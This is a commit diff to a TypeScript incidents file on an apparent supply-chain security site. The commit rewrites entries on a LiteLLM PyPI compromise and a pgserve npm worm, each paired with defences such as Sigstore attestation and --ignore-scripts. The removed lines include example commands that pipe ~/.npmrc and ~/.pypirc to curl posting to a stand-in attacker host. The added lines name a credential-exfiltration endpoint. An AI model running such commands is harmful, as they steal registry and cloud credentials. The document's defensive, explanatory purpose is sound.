Skip to content
This repository was archived by the owner on Jun 23, 2026. It is now read-only.

Commit f6d0e6d

Browse files
committed
docs: update LiteLLM and pgserve incident details with specific attack mechanisms and forensic artifacts
1 parent 23d00ae commit f6d0e6d

1 file changed

Lines changed: 16 additions & 15 deletions

File tree

src/lib/incidents.ts

Lines changed: 16 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -135,12 +135,12 @@ export const incidents: readonly Incident[] = [
135135
attackName: "TeamPCP / LiteLLM compromise",
136136
attackDate: "2026-03-24",
137137
attackOneLine:
138-
"credential phish. malicious litellm release lived on PyPI for 40 minutes under the legitimate publisher.",
138+
"TeamPCP poisoned Trivy upstream. LiteLLM's CI ran apt-installed Trivy, which exfiltrated PYPI_PUBLISH and pushed 1.82.7 + 1.82.8 for 40 minutes.",
139139
attackArtifact: [
140-
"$ pip install litellm",
141-
" Successfully installed litellm-1.51.4",
142-
" __init__.py: silently exfil OPENAI_API_KEY to dropbox",
143-
" signed with the real maintainer's password",
140+
"$ pip install litellm # 2026-03-24 10:39-11:19 UTC",
141+
" Successfully installed litellm-1.82.8",
142+
" CI's apt-pinned-nothing Trivy stole PYPI_PUBLISH,",
143+
" attacker pushed 1.82.7 + 1.82.8 with a credstealer",
144144
],
145145
defenseName: "Sigstore + trusted publisher (OIDC)",
146146
defenseOneLine:
@@ -168,23 +168,24 @@ export const incidents: readonly Incident[] = [
168168
num: "05",
169169
stageLabel: "DISTRIBUTE",
170170
question: "the name resolves to bytes somewhere. to whose?",
171-
attackName: "pgserve typosquat worm",
171+
attackName: "pgserve / CanisterSprawl",
172172
attackDate: "2026-04-21",
173173
attackOneLine:
174-
"a name close enough to a real PostgreSQL helper. postinstall reaches for npm + pypi tokens.",
174+
"the real pgserve, hijacked. postinstall harvested NPM/GH/cloud creds and self-propagated by republishing the maintainer's other packages.",
175175
attackArtifact: [
176-
"$ npm install pgserve # meant pg-serve",
177-
" postinstall script:",
178-
" cat ~/.npmrc | curl -X POST attacker.tld",
179-
" cat ~/.pypirc | curl -X POST attacker.tld",
176+
"$ npm install pgserve # 2026-04-21 22:14 UTC",
177+
" postinstall harvested NPM/GH/AWS/k8s/SSH creds,",
178+
" exfil to ICP canister cjn37-uyaaa-aaaac-qgnva-cai,",
179+
" republished maintainer's owned packages (worm)",
180180
],
181-
defenseName: "scoped namespace + registry attestation",
181+
defenseName: "registry attestation + --ignore-scripts",
182182
defenseOneLine:
183-
"@org/pgserve ties a name to an owner. registry-served Sigstore attestations let you verify at install time.",
183+
"registry-served Sigstore attestations prove bytes came from the expected workflow. --ignore-scripts contains postinstall in CI.",
184184
defenseArtifact: [
185-
"$ npm install @postgres/serve --foreground-scripts=false",
185+
"$ npm install pgserve --ignore-scripts",
186186
"$ npm audit signatures",
187-
" -> all dependencies have valid attestations",
187+
" -> attestation issuer != expected workflow",
188+
" -> install rejected",
188189
],
189190
links: [
190191
{

0 commit comments

Comments
 (0)